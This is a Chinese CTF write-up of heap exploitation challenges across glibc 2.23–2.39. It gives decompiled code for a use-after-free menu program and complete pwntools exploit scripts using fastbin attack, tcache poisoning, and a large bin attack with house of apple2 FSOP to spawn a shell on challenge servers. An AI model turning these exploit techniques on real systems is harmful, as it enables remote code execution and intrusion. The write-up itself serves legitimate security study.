pwn

heap-2.23

程序逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_400866(a1, a2, a3);
  v3 = 0;
  while ( 1 )
  {
    init_0();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        free_all();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 add()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || *(&ptr + (int)v2) )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    printf("size? ");
    __isoc99_scanf("%d", &v3);
    v1 = v2;
    *(&ptr + v1) = malloc(v3);
    if ( !*(&ptr + (int)v2) )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (int)v2;
    *((_DWORD *)&nbytes + (int)v2) = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && *(&ptr + (int)v0) )
    free(*(&ptr + (int)v0));
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
    return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && *(&ptr + (int)v1) )
  {
    puts("content : ");
    return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn free_all()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(&ptr + i) )
    {
      free(*(&ptr + i));
      *(&ptr + i) = 0LL;
      *((_DWORD *)&nbytes + i) = 0;
    }
  }
  exit(0);
}

存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))



def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


add(0,0x98)
add(1,0x98)
delete(0)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

add(2,0x68)
add(3,0x68)
add(4,0x68)

delete(2)
delete(3)

edit(2,p64(malloc_hook - 0x23))


add(5,0x68)
add(6,0x68)
add(7,0x68)


success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)


# g(p)

p.interactive()

heap-2.27

逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))

def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))


def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))


def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


for i in range(9):
    add(i,0x80)

for i in range(8):
    delete(i)


show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7461d0bebca0 - 0x7461d0800000)
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(9,0x80)
add(10,0x80)
add(11,0x80)

edit(10,b'/bin/sh\x00')
edit(11,p64(system))
delete(10)




p.interactive()

heap-2.31

glibc 2.31 程序逻辑和漏洞 与 glibc 2.23相同,加入tcache后,fastbin attack 关于chunk_size的检查的宏就移除了,同时也可以通过tcache poison实现任意地址写,写free hook为system,之后free一个内容为binsh的堆触发free hook执行 system binsh

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node3.anna.nssctf.cn"
PORT = 28653

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))

def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))

def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))

def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)

for i in range(9):
    add(i,0x88)

for i in range(8):
    delete(i)

show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7229e071cbe0 - 0x7229e0530000)
success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(10,0x88)
add(11,0x88)
add(12,0x88)
edit(12,p64(system))
edit(11,b'/bin/sh\x00')
delete(11)
# g(p)

p.interactive()

heap-2.35

iofile house of apple2或者是 environ泄露栈地址栈上写rop

heap-2.39

2.39 程序的逻辑和前面几个题目的逻辑不太一样,能申请的堆块最小为0x40f ,最大为 0x1000

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = 0;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        Exit();
      default:
        puts("error!");
        break;
    }
  }
}

__int64 create()
{
  __int64 result; // rax
  int v1; // ebx
  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 0xF || ptr[v2] || (printf("size? "), __isoc99_scanf("%d", &v3), v3 <= 1039) || v3 > 4096 )
  {
    puts("error !");
    return 0LL;
  }
  else
  {
    v1 = v2;
    ptr[v1] = malloc(v3);
    if ( !ptr[v2] )
    {
      puts("malloc error!");
      exit(1);
    }
    result = (unsigned int)v3;
    ptr_size[v2] = v3;
  }
  return result;
}

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  v0 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0xF && ptr[v0] )
    free((void *)ptr[v0]);
  else
    puts("no such chunk!");
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && ptr[v1] )
    return printf("content : %s\n", (const char *)ptr[v1]);
  puts("no such chunk!");
  return 0;
}

ssize_t edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("idx? ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && ptr[v1] )
  {
    puts("content : ");
    return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
  }
  else
  {
    puts("no such chunk!");
    return 0LL;
  }
}

void __noreturn Exit()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !ptr[i] )
    {
      free((void *)ptr[i]);
      ptr[i] = 0LL;
      ptr_size[i] = 0;
    }
  }
  exit(0);
}

https://www.freebuf.com/articles/system/232676.html

很明显是large bin attack,large bins是一组双向链表,每个bin是一个独立的双链表,其中fd_nextsize指向比当前bin size小的最大bin,bk_nextsize指向比当前bin size大的最小bin,large bin 用分段存储的方式存储每个bin,其中在同一个范围内相邻的bin都是等差的,每个范围就是一个等差数列

index size范围
64 [0x400,0x440) 相差0x40
65 [0x440,0x480)相差0x40
…… ……相差0x40
96 [0xc00,0xc40)相差0x40
97 [0xc40,0xe00)相差0x1c0
98 [0xe00,0x1000)相差0x200

chunk相关的结构体

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

large bin attack 主要是在victim插入large bin的时候进行利用,victim在ptmalloc2中是指刚刚free掉还没有插入链表这种状态的堆块

victim_index = largebin_index (size);
            bck = bin_at (av, victim_index); //这个是main_arena的地址
            fwd = bck->fd;//这是最大size的链首
 
            /* maintain large bins in sorted order */
            if (fwd != bck)
              {
                /* Or with inuse bit to speed comparisons */
                size |= PREV_INUSE;
                /* if smaller than smallest, bypass loop below */
                assert (chunk_main_arena (bck->bk));
                if ((unsigned long) (size)                //bck->bk是最小size的链首
            < (unsigned long) chunksize_nomask (bck->bk)) //如果当前申请的size小于最小szie
                  {
                    fwd = bck;
                    bck = bck->bk;
 
                    victim->fd_nextsize = fwd->fd;
                    victim->bk_nextsize = fwd->fd->bk_nextsize; 
                    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//这里不好整
                  }
                else //如果当前申请的size不是最小的
                  {
                    assert (chunk_main_arena (fwd));
                    while ((unsigned long) size < chunksize_nomask (fwd)) //从最大块开始寻找一个小于szie的链
                      {
                        fwd = fwd->fd_nextsize;
            assert (chunk_main_arena (fwd));
                      }
 
                    if ((unsigned long) size
            == (unsigned long) chunksize_nomask (fwd)) // 如果找到的链和申请的size相同
                      /* Always insert in the second position.  */
                      fwd = fwd->fd; 
                    else//如果不同,则说明应该插在这个链前面
                      {
                        victim->fd_nextsize = fwd;//小的链在victim上
                        victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
                        fwd->bk_nextsize = victim;
                        victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
                      }
                    bck = fwd->bk;
                  }
              }
            else
              victim->fd_nextsize = victim->bk_nextsize = victim;
          }
 
        mark_bin (av, victim_index);
        victim->bk = bck;
        victim->fd = fwd;
        fwd->bk = victim;
        bck->fd = victim;//最后这里,还可以有一次写,如果fwd->bk可控
 

关键位置是在这里,可以有uaf的情况下,可以实现往任意地址写一个堆地址

else//如果不同,则说明应该插在这个链前面
  {
    victim->fd_nextsize = fwd;//小的链在victim上
    victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
  }

具体的利用方法是申请 一大一小index相同属于large bin范围的堆块,先释放掉大堆块,然后再释放小堆块,将小堆块的bk_nextsize和fd_nextsize 修改成 target - 0x20的地址,之后再申请一个大于这两个堆块的内存,就可以实现往targe写一个堆地址的攻击。

有了任意地址写一个堆地址的原语还不够,还需要配合iofile相关的攻击和fsop的思想伪造iofile的虚表实现call任意地址,fsop的思想是从main返回或者主动call exit的时候会遍历_IO_list_all中的每一个iofile结构体,如果满足条件就会调用结构体中的vtable _overflow函数,利用large bin attack往io list all中写一个堆地址,然后在堆上伪造ioflie结构体和虚假的vtable,overflow中写上one gadget去提权,但是在高版本glibc中,有对vtable地址范围检测的代码

house of apple2 中 IO_wfile_overflow这条调用链是 将vtable覆盖成 io_wfile_jumps,同时保证io_write_ptr大于 io_write_base 就会调用 _wide_data->vtable- > overflow函数

https://xz.aliyun.com/t/13092?time__1311=mqmxnDBDuDc0G%3DGkDlxGO4%2BofTAfw7AbD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-5

其中 flag还可以控制rdi,但是flag是四个字节的,所以要控制的地方有这几个,io_write_ptr > io_write_base,vtable == io_wfile_jumps,wide_data = 伪造的wide_data 上面有vtable,vtable中有one gadget或者是system的值

io_list_all结构体 stderr

pwndbg> p *_IO_list_all 
$1 = {
  file = {
    _flags = 6845216,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x5ea7be6d14f0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x75ef43e170c0 <_IO_wfile_jumps>
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
from SomeofHouse import HouseOfSome

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "node3.anna.nssctf.cn"
PORT = 28653

elf = context.binary = ELF('./heap')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 0x410 - 0x1000
def add(idx,size):
    sla(">>",str(1))
    sla("idx?",str(idx))
    sla("size?",str(size))

def show(idx):
    sla(">>",str(3))
    sla("idx?",str(idx))

def delete(idx):
    sla(">>",str(2))
    sla("idx?",str(idx))

def edit(idx,content):
    sla(">>",str(4))
    sla("idx?",str(idx))
    sa("content :",content)


add(0,0x508)
add(1,0x508)
delete(0)

add(2,0x510)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x745562403f50 - 0x745562200000)
success(hex(libc_base))

edit(0,b"a" * 0x10)
show(0)
ru("a" * 0x10)
heap_base = (u64(r(6).ljust(8,b'\x00')) >> 12) << 12
success(hex(heap_base))

edit(0,p64(leak) * 2)
add(3,0x508)

add(5,0x600) #chunk1
add(6,0x508) 
add(7,0x5f0) #chunk2
add(8,0x500)

delete(5)
add(9,0x900)
delete(7)
show(5)
ru("content : ")
fd  = u64(r(6).ljust(8,b'\x00'))
target = libc_base + libc.sym["_IO_list_all"]
edit(5,p64(fd)*2 + p64(target - 0x20)*2)

add(10,0x900)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

fake_io_addr0 = heap_base + 0x17f0 # 6
fake_io_addr1 = heap_base + 0x1cf0 # 7


edit(6, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')


# _IO_wfile_overflow
fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(0xa0 - 0x10, b'\0') + p64(fake_io_addr1 + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable

# 伪造 _wide_data vtable
fake_io_file = fake_io_file.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(fake_io_addr1 + 0x200)
fake_io_file = fake_io_file.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)

edit(7, fake_io_file)

# g(p)

sla(">>",str(5))

p.interactive()
⬆︎TOP